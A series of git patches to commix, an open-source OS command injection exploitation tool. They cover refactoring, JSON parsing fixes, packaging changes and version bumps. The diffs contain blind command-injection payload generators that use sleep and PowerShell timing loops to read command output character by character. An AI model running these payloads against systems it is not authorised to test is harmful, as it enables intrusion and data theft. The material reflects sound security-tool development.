settings.WHITESPACES[0] cmd = maxlen = "" + if not 'url_time_response' in locals(): + url_time_response = "" if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: - OUTPUT_TEXTFILE = url_time_response = "" + OUTPUT_TEXTFILE = "" # Check for any enumeration options. enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) # Check for any system file access options. diff --git a/src/utils/settings.py b/src/utils/settings.py index a83d1926da..81b978f7fa 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "22" +REVISION = "23" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8a673bff06b078b6689b5f8b810510564988bf74 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 12 May 2025 08:54:30 +0300 Subject: [PATCH 0548/1023] Fixes https://github.com/commixproject/commix/issues/1006 --- doc/CHANGELOG.md | 3 ++- src/core/injections/controller/checks.py | 25 +++++++++++++----------- src/utils/settings.py | 2 +- 3 files changed, 17 insertions(+), 13 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 06616d6baf..108970442a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,5 +1,6 @@ ## Version 4.1 (TBA) -* Fixed: Minor bug-fix regarding parsing empty or invalid JSON object. +* Fixed: Minor bug-fix in parsing improperly escaped characters in JSON objects. +* Fixed: Minor bug-fix in parsing empty or invalid JSON object. * Added: New tamper script "randomcase.py" that replaces each character in a user-supplied OS command with a random case. * Revised: Minor code refactoring regarding multiple tamper scripts. * Revised: Minor code refactoring regarding payloads for time-related techniques (i.e. "time-based", "tempfile-based"). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0968a5318c..e27739f93f 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2058,19 +2058,22 @@ def check_quotes_json_data(data): # Check if valid JSON def is_JSON_check(parameter): - try: - json_object = json.loads(parameter.replace(settings.INJECT_TAG,"")) - return True - except ValueError as err_msg: - _ = False - if "Expecting" in str(err_msg) and any(_ in str(err_msg) for _ in ("value", "delimiter")): - _ = True - if not "No JSON object could be decoded" in str(err_msg) and \ - not _: - err_msg = "JSON " + str(err_msg) + ". " + if not settings.IS_JSON: + try: + # Attempt to load the JSON string + json_object = json.loads(parameter.replace(settings.INJECT_TAG,"")) + return True + except json.JSONDecodeError as err_msg: + # Handle JSONDecodeError and identify common issues + error_str = str(err_msg) + if "No JSON object could be decoded" in error_str: + err_msg = "JSON is invalid. No valid JSON object found." + elif "Expecting" in error_str and any(_ in error_str for _ in ("value", "delimiter")): + err_msg = "JSON parsing error: " + error_str + ". Check for missing commas, colons, or improperly escaped characters." + elif "Expecting" in error_str and "end of data" in error_str: + err_msg = "JSON parsing error: " + error_str + ". Check for extra commas or missing closing brackets." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - return False # Process with JSON data def process_data(data_type, http_request_method): diff --git a/src/utils/settings.py b/src/utils/settings.py index 81b978f7fa..3e5ca9fb75 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "23" +REVISION = "24" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 70121dd2a232e4b8a1b10b2e089a041b5fa57194 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 15 May 2025 09:19:43 +0300 Subject: [PATCH 0549/1023] Improved key transformation for nested structures using bracket notation and dot syntax --- doc/CHANGELOG.md | 1 + src/core/requests/parameters.py | 2 ++ src/utils/settings.py | 2 +- 3 files changed, 4 insertions(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 108970442a..6ee370a586 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Improved key transformation for nested structures using bracket notation and dot syntax. * Fixed: Minor bug-fix in parsing improperly escaped characters in JSON objects. * Fixed: Minor bug-fix in parsing empty or invalid JSON object. * Added: New tamper script "randomcase.py" that replaces each character in a user-supplied OS command with a random case. diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index c18d9a0f88..7c72014f0d 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -468,6 +468,8 @@ def vuln_POST_param(parameter, url): parameters = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', parameter.split(settings.INJECT_TAG)[0].replace(",\"", settings.RANDOM_TAG + "\"")) parameters = ''.join(parameters.split(", ")[-1:]).strip() parameters = ''.join(parameters.split(":")[0]).strip() + # Converts a key into a dot notation format, suitable for hierarchical or flattened structures. + parameters = re.sub(r'(\.(\d+))\.', r'[\2].', parameters.replace('_', '.')) settings.TESTABLE_VALUE = vuln_parameter = ''.join(parameters.split(settings.RANDOM_TAG)[:1]) if settings.CUSTOM_INJECTION_MARKER: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST diff --git a/src/utils/settings.py b/src/utils/settings.py index 3e5ca9fb75..5c7c23dd23 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "24" +REVISION = "25" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f7b9ba4a0a2dcedc8ce704aee30ea67161b5af90 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 19 May 2025 09:08:47 +0300 Subject: [PATCH 0550/1023] Fixes https://github.com/commixproject/commix/issues/1009 --- doc/CHANGELOG.md | 1 + setup.py | 2 +- src/utils/settings.py | 6 +++--- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 6ee370a586..125c7f3a69 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Minor code refactoring to ensure compliance with PEP 440 versioning standards. * Revised: Improved key transformation for nested structures using bracket notation and dot syntax. * Fixed: Minor bug-fix in parsing improperly escaped characters in JSON objects. * Fixed: Minor bug-fix in parsing empty or invalid JSON object. diff --git a/setup.py b/setup.py index db850d1775..26e0274669 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='4.1-dev', + version='4.1.dev', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/settings.py b/src/utils/settings.py index 5c7c23dd23..e2ef80ca18 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,14 +262,14 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "25" +REVISION = "26" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: - VERSION = VERSION + VERSION_NUM + "-stable" + VERSION = VERSION + VERSION_NUM COLOR_VERSION = Style.BRIGHT + Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL else: - VERSION = VERSION + VERSION_NUM + "-dev#" + REVISION + VERSION = VERSION + VERSION_NUM + ".dev" + REVISION COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL YEAR = "2014-2025" From 3527602eb1ab53d9584be81ecb159eb498bb9162 Mon Sep 17 00:00:00 2001 From: Raymond Van Wart <23642921+Raymond-JV@users.noreply.github.com> Date: Mon, 19 May 2025 02:15:55 -0500 Subject: [PATCH 0551/1023] Fixes https://github.com/commixproject/commix/issues/547 https://github.com/commixproject/commix/issues/549 https://github.com/commixproject/commix/issues/825 --- setup.py | 3 ++- src/txt/__init__.py | 0 2 files changed, 2 insertions(+), 1 deletion(-) create mode 100644 src/txt/__init__.py diff --git a/setup.py b/setup.py index 26e0274669..83074f4625 100644 --- a/setup.py +++ b/setup.py @@ -31,6 +31,7 @@ license='GNU General Public License v3 (GPLv3)', packages=find_packages(), include_package_data=True, + package_data={"": ["*.txt"]}, zip_safe=False, classifiers=[ 'Development Status :: 5 - Production/Stable', @@ -48,4 +49,4 @@ }, ) -# eof \ No newline at end of file +# eof diff --git a/src/txt/__init__.py b/src/txt/__init__.py new file mode 100644 index 0000000000..e69de29bb2 From 4315ec5a4c075389166c078df01a99ce9c3d089e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 20 May 2025 07:22:13 +0300 Subject: [PATCH 0552/1023] Fixes https://github.com/commixproject/commix/issues/1011 --- .../techniques/time_based/tb_payloads.py | 21 ++++++++++++++++++ .../techniques/tempfile_based/tfb_payloads.py | 22 +++++++++++++++++++ src/utils/settings.py | 2 +- 3 files changed, 44 insertions(+), 1 deletion(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 6e898bc6cd..cbed57a7f9 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -43,6 +43,9 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) + else: + pass + else: if separator == ";" or separator == "%0a": payload = (separator + @@ -107,6 +110,9 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) + else: + pass + else: if separator == ";" or separator == "%0a": payload = (separator + @@ -176,6 +182,8 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) + else: + pass else: settings.USER_APPLIED_CMD = cmd @@ -243,6 +251,9 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) + else: + pass + else: settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a": @@ -309,6 +320,8 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) + else: + pass else: cmd_exec = cmd @@ -385,6 +398,9 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) + else: + pass + else: settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a": @@ -452,6 +468,8 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) + else: + pass else: if separator == ";" or separator == "%0a": @@ -510,6 +528,9 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) + else: + pass + else: if separator == ";" or separator == "%0a": payload = (separator + diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 2fbbf84fc8..b007f12def 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -47,6 +47,8 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "do if %i==" + str(j) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) + else: + pass else: if separator == ";" or separator == "%0a" : @@ -116,6 +118,9 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) + else: + pass + else: if separator == ";" or separator == "%0a" : payload = (separator + @@ -202,6 +207,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE + "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" ) + else: + pass else: settings.USER_APPLIED_CMD = cmd @@ -287,6 +294,9 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) + else: + pass + else: settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a" : @@ -358,6 +368,8 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) + else: + pass else: if separator == ";" or separator == "%0a" : @@ -423,6 +435,10 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) + + else: + pass + else: if separator == ";" or separator == "%0a" : payload = (separator + @@ -488,6 +504,9 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) + else: + pass + else: if separator == ";" or separator == "%0a" : payload = (separator + @@ -545,6 +564,9 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) + else: + pass + else: if separator == ";" or separator == "%0a" : payload = (separator + diff --git a/src/utils/settings.py b/src/utils/settings.py index e2ef80ca18..e393a13547 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "26" +REVISION = "27" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 829d729a5d485baac3af39c195e9d4f62375c6bc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 21 May 2025 07:32:21 +0300 Subject: [PATCH 0553/1023] Minor code refactoring --- .../techniques/time_based/tb_payloads.py | 70 ++--------------- src/core/injections/controller/checks.py | 12 +++ .../techniques/tempfile_based/tfb_payloads.py | 78 ++----------------- src/utils/settings.py | 2 +- 4 files changed, 26 insertions(+), 136 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index cbed57a7f9..2a029feca9 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -33,7 +33,6 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -42,10 +41,8 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - else: pass - else: if separator == ";" or separator == "%0a": payload = (separator + @@ -58,8 +55,6 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "then sleep " + str(timesec) + separator + "fi" ) - - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -73,7 +68,6 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -100,7 +94,6 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -123,7 +116,6 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -134,9 +126,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "[ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -147,15 +137,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") - else: - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + payload = checks.payload_newline_fixation(payload) return payload @@ -172,7 +154,6 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -213,7 +194,6 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "[ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + "sleep " + str(timesec) ) - separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -241,7 +221,6 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -265,7 +244,6 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -276,9 +254,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "[ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\") " ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -289,16 +265,9 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") - else: - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + payload = checks.payload_newline_fixation(payload) return payload + """ Get the execution output, of shell execution. """ @@ -311,9 +280,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + @@ -358,7 +325,6 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) - separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -434,15 +400,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") - else: - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + payload = checks.payload_newline_fixation(payload) return payload """ @@ -458,7 +416,6 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -480,7 +437,6 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "then sleep " + str(timesec) + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -490,8 +446,6 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "[ " + str(ascii_char) + " -eq $" + settings.RANDOM_VAR_GENERATOR + " ] " + separator + "sleep " + str(timesec) ) - - separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -518,7 +472,6 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -540,7 +493,6 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -550,27 +502,17 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\") ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") - else: - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + payload = checks.payload_newline_fixation(payload) return payload + # eof \ No newline at end of file diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e27739f93f..b965076b6b 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -583,6 +583,18 @@ def ignore_google_analytics_cookie(cookie): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return True +""" +Payload new line fixation +""" +def payload_newline_fixation(payload): + # New line fixation + if any([settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION]): + payload = payload.replace("\n",";") + else: + if settings.TARGET_OS != settings.OS.WINDOWS: + payload = payload.replace("\n","%0d") + return payload + """ Fix for %0a, %0d%0a separators """ diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index b007f12def..f9a6b1d0e0 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -36,7 +36,6 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "do if %i==" + str(j) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -63,7 +62,6 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "then sleep " + str(timesec) + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -76,9 +74,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + "sleep " + str(timesec) ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -132,7 +128,6 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -144,9 +139,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import 